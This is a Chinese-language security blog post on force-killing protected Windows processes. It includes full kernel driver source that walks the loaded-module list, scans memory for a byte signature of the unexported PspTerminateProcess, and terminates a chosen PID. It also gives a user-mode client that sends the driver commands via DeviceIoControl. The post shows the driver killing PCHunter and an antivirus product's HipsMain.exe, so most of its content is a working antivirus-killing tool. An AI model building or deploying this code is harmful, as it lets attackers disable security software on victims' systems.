Drunkmars's Blog

进程强杀初探

字数统计: 1.7k阅读时长: 7 min
2022/02/14

我们知道在windows操作系统里面有ring0跟ring3的概念(ring1、ring2在windows中并未使用),因为ring0的特权级别是比ring3高的,那么我们肯定不能在ring3调用windows提供的api杀死ring0特权级别的进程,那么这时候我们就需要使用的ring0的函数来强行结束一些处于ring0级别的进程。

测试

我们首先打开PCHunter32.exe看一下,应用层是不能够访问的,我们知道可以在cmd里面使用taskkill命令来结束进程,但这种方式对ring0特权级别的程序并不适用。

image-20220214184929678

看一下PCHunter32.exe的PID,尝试使用taskkill命令关闭发现拒绝访问

image-20220214185114056

用任务管理器也是同样拒绝访问

image-20220214185226441

ZwTerminateProcess

ZwTerminateProcess例程终止一个进程及其所有线程,它是一个ring0函数,结构及参数如下

1
2
3
4
NTSYSAPI NTSTATUS ZwTerminateProcess(
[in, optional] HANDLE ProcessHandle,
[in] NTSTATUS ExitStatus
);

image-20220214184452364

在这个函数里面只需要传入进程句柄和NTSTATUS值就可以杀死一个进程,但是这里又有一个问题,如果我们想利用这个函数去kill掉一个杀软,那么杀软就直接让我们宰割吗,当然不会。

我们能知道这个内核的函数,那么杀软肯定也知道,所以在ring0层面下,杀软将这个内核函数hook掉,如果发现有调用这个函数kill掉自己的企图,还是会拒绝。

PspTerminateProcess

这个函数就有意思了,在msdn里面居然没有找到这个函数,那么是不是我们搞错了呢?

image-20220214185727591

遇事不决找Windbg老师看一下有没有这个结构就知道了,当然是有这个函数的,那为什么在msdn里面找不到呢?

image-20220214190003622

WDK说明文档中只包含了内核模块导出的函数,对于未导出的函数,则不能直接使用。

如果要使用未导出的函数,则有两种方法来使用:

  1. 暴力搜索,提取该函数的特征码,全盘搜索。
  2. 如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。

那么我们要想全盘搜索,肯定要先找到内核模块,每个内核模块都有一个对应的结构体,来描述这个模块在内核中的:位置、大小、名称等等。DriverEntry 的第一个参数就是这个结构体。

主要关注DriverSizeDriverName这两个参数,DriverSize主要是表示驱动的大小,DriverName为驱动的名称

image-20220214190227332

编写一个驱动输出driver的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <ntddk.h>


VOID DriverUnload(PDRIVER_OBJECT driver)
{
DbgPrint("Driver unload successfully!\r\n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
DbgPrint("注册表路径:%wZ 地址:%x Hello world!", reg_path, driver);

DbgPrint("%x", driver);

driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

部署一下得到地址为85e17030

image-20220214190327076

然后在DRIVER_OBJECT结构后面加上地址即可得到我们自己驱动的详细信息

1
kd> dt _DRIVER_OBJECT 85e17030

image-20220214190340117

通过 _DRIVER_OBJECT 结构体中 0x014的偏移有一个成员,DriverSection 则可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:_LDR_DATA_TABLE_ENTRY

看一下_LDR_DATA_TABLE_ENTRY的结构

1
kd> dt _LDR_DATA_TABLE_ENTRY

image-20220214190453635

加上地址即可得到模块的详细信息

image-20220214190701646

通过InLoadOrderLinks可以查询到其他内核模块的信息。依此类推,可以获取到其他所有的内核模块。

image-20220214190742150

image-20220214190749624

说完了怎样搜寻模块,再来看看怎么找特征码,首先定位到函数。这种mov、push指令因为可能每个模块都会有,所以不能当作特征码,也不能够选重定位的数据当作特征码。

image-20220214190851688

从中挑选如下代码

1
2
3
4
5
6
7
8
805d3487 56              push    esi
805d3488 64a124010000 mov eax,dword ptr fs:[00000124h]
805d348e 8b7508 mov esi,dword ptr [ebp+8]
805d3491 3b7044 cmp esi,dword ptr [eax+44h]
805d3494 7507 jne nt!PspTerminateProcess+0x1b (805d349d)
805d3496 b80d0000c0 mov eax,0C000000Dh
805d349b eb5a jmp nt!PspTerminateProcess+0x75 (805d34f7)
805d349d 57 push edi

提取出的相应特征码如下

1
2
3
UCHAR szSpecialCode[] = {0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 
0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,
0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };

那么编写代码,通过特征码定位到PspTerminateProcess函数来杀死进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include <ntifs.h>

typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
UINT16 LoadCount;
UINT16 TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

typedef NTSTATUS(*pfnPspTerminateProcess)(PEPROCESS pEprocess, NTSTATUS ExitCode);

VOID DriverUnload(IN PDRIVER_OBJECT driverObject); //卸载驱动
PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage); // 查找模块中匹配特征码

ULONG g_uPID = 1492; // 要关闭的进程PID

// 特征码
UCHAR g_szSpecialCode[] = {
0x56, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B,
0x75, 0x08, 0x3B, 0x70, 0x44, 0x75, 0x07, 0xB8,
0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x5A, 0x57 };
// 特征码长度
UINT32 g_uSpecialCodeLen = sizeof(g_szSpecialCode);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PLDR_DATA_TABLE_ENTRY pLdrDataTableEntry = NULL;
pfnPspTerminateProcess pPspTerminateProcess = NULL;
PEPROCESS pEprocess = NULL;

DbgPrint("驱动加载完成\r\n");

pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;

do
{
pLdrDataTableEntry = CONTAINING_RECORD(pLdrDataTableEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

// 如果存在则搜索特征码
if (pLdrDataTableEntry->DllBase)
{
pPspTerminateProcess = (pfnPspTerminateProcess)
SearchFunction((PUCHAR)pLdrDataTableEntry->DllBase, pLdrDataTableEntry->SizeOfImage);
}

if (pPspTerminateProcess)
break;

// 遍历
pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pLdrDataTableEntry->InLoadOrderLinks.Flink;

} while ((UINT32)pLdrDataTableEntry != (UINT32)driverObject->DriverSection);

if (pPspTerminateProcess)
{
status = PsLookupProcessByProcessId((HANDLE)g_uPID, &pEprocess);
if (NT_SUCCESS(status))
{
status = pPspTerminateProcess(pEprocess, 0);

if (NT_SUCCESS(status))
{
DbgPrint("使用 PspTerminateProcess 关闭进程成功, PID = %d\r\n", g_uPID);
}
}
else
{
DbgPrint("PsLookupProcessByProcessId Error 0x%X\r\n", status);
}
}

driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
DbgPrint("驱动卸载完成\r\n");
}

PVOID SearchFunction(PUCHAR DllBase, UINT32 SizeOfImage)
{
DbgPrint("Here is MemorySearch , length is : %d\r\n", SizeOfImage);

PVOID pFuncAddr = NULL;
UINT32 uEnd = (UINT32)DllBase + SizeOfImage - g_uSpecialCodeLen; // 减去特征码后的长度
UINT32 i = 0;
BOOLEAN bOk = TRUE;

while ((UINT32)DllBase <= uEnd)
{
bOk = TRUE;
for (i = 0; i < g_uSpecialCodeLen; i++)
{
if (!MmIsAddressValid(&DllBase[i]) || DllBase[i] != g_szSpecialCode[i])
{
bOk = FALSE;
break;
}
}

if (bOk)
{
pFuncAddr = (PVOID)(DllBase - 5);
DbgPrint("找到特征码,内存地址为%p\r\n", pFuncAddr);
break;
}
DllBase++;
}

return pFuncAddr;
}

编译之后生成.sys文件,我们再来关闭一下PCHunter32.exe,关闭成功

kill1

再试下强制kill某绒,这里有三个进程,用HipsMain.exe来进行尝试

image-20220214191816943

演示效果如下

kill2

也可以利用ring3常规方式传输数据到ring0的方式结束进程,ring3层代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// r3tor0killer.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winioctl.h>


#define SYMBOLICLINK_NAME L"\\\\.\\HbgDevLnk"
#define OPER1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define OPER2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IN_BUFFER_MAXLENGTH 4
#define OUT_BUFFER_MAXLENGTH 4

int main()
{
// 获取设备句柄
HANDLE hDevice =CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
DWORD dwError = GetLastError();
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("获取设备句柄失败 %d\n", dwError); // 如果返回1,在驱动中指定 IRP_MJ_CREATE 处理函数
getchar();
return 1;
}
else
{
printf("获取设备句柄成功 \n");
}
// 测试通信
DWORD dwInBuffer = 0x850;
DWORD dwOutBuffer = 0;
DWORD dwOut;
DeviceIoControl(hDevice, OPER2, &dwInBuffer,
IN_BUFFER_MAXLENGTH,
&dwOutBuffer,
OUT_BUFFER_MAXLENGTH, &dwOut, NULL);
printf("dwOutBuffer: %08X dwOut: %08X\n", dwOutBuffer, dwOut);
// 关闭设备
CloseHandle(hDevice);
return 0;
}

实现效果如下

kill3

CATALOG
  1. 1. 测试
  2. 2. ZwTerminateProcess
  3. 3. PspTerminateProcess